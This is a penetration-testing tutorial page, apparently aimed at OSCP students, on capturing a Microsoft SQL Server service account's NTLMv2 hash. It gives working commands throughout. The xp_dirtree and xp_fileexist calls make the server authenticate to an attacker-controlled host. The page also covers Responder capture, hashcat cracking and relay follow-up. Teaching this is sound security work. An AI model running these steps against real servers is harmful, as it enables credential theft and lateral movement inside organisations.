# MSSQL Credential Capture via Forced Authentication

- **URL:** https://hackindex.io/services/mssql/exploitation/mssql-credential-capture-via-forced-authentication
- **Path:** MSSQL > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/mssql/exploitation.md)
- **Published:** 2026-03-26
- **Updated:** 2026-06-19

SQL Server extended procedures like xp_dirtree and xp_fileexist trigger outbound SMB connections when given a UNC path. When the SQL Server service account attempts to authenticate to your listener, it sends an NTLMv2 hash. This hash can be cracked offline or relayed to authenticate to other services on the network depending on the account and environment.

This technique works with any SQL login that can execute xp_dirtree or xp_fileexist, not just sysadmin. It is one of the few exploitation paths available from a low-privilege SQL session.

Extended procedures that trigger outbound SMB authentication:

- `xp_dirtree` with a UNC path (most common trigger)
- `xp_fileexist` with a UNC path (alternative when xp_dirtree is blocked)
- `xp_subdirs` with a UNC path (less common, same mechanism)

## Start Responder

Start Responder on the interface facing the target before triggering the connection. Responder captures the NTLMv2 challenge-response automatically:

> [!WARNING]
> Responder's LLMNR/NBT-NS/mDNS poisoning is prohibited in the OSCP exam. The forced-authentication trigger shown here is fine; capture the coerced hash with a plain SMB listener (for example impacket-smbserver) rather than Responder poisoning mode. Verify exam rules before use.

```bash
sudo responder -I tun0 -v
```

## Trigger Outbound Authentication via xp_dirtree

Connect to the SQL instance and execute xp_dirtree with a UNC path pointing to your Kali IP. The SQL Server service account will attempt to authenticate to your SMB listener:

```bash
impacket-mssqlclient $USER:$PASSWORD@$TARGET_IP
```

```bash
EXEC xp_dirtree '\\$LHOST\share';
```

Responder should capture the NTLMv2 hash within a few seconds:

```bash
sudo responder -I tun0 -v
# [SMB] NTLMv2-SSP Client   : 10.10.10.50
# [SMB] NTLMv2-SSP Username : CORP\sqlsvc
# [SMB] NTLMv2-SSP Hash     : sqlsvc::CORP:aad3b435b51404ee:4b2a...:010100000...
```

The hash format is NTLMv2-SSP which is directly usable with hashcat mode 5600. The username and domain fields confirm which account authenticated: a service account running the SQL Server service.

## Alternative: xp_fileexist

xp_fileexist also triggers an outbound SMB connection and is available to the same permission level as xp_dirtree. Use it as an alternative if xp_dirtree is blocked:

```bash
EXEC xp_fileexist '\\$LHOST\share\file.txt';
```

## Crack the Captured Hash

Save the full NTLMv2 hash line from Responder to a file and crack it with hashcat:

```bash
echo 'sqlsvc::CORP:aad3b435b51404ee:4b2a...:010100000...' > /tmp/mssql_hash.txt
```

```bash
hashcat -m 5600 /tmp/mssql_hash.txt /usr/share/wordlists/rockyou.txt --force
# sqlsvc::CORP:...:Password123
```

A cracked service account password is reusable across any service the account is mapped to: often WinRM, SMB, and RDP in addition to MSSQL. If the hash does not crack, consider relay attacks if SMB signing is disabled on target hosts in the environment.

## References

- [Microsoft: xp_dirtree](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-dirtree-transact-sql) - xp_dirtree behavior and UNC path handling
- [Responder: GitHub](https://github.com/lgandx/Responder) - Responder SMB/NTLMv2 capture setup and output format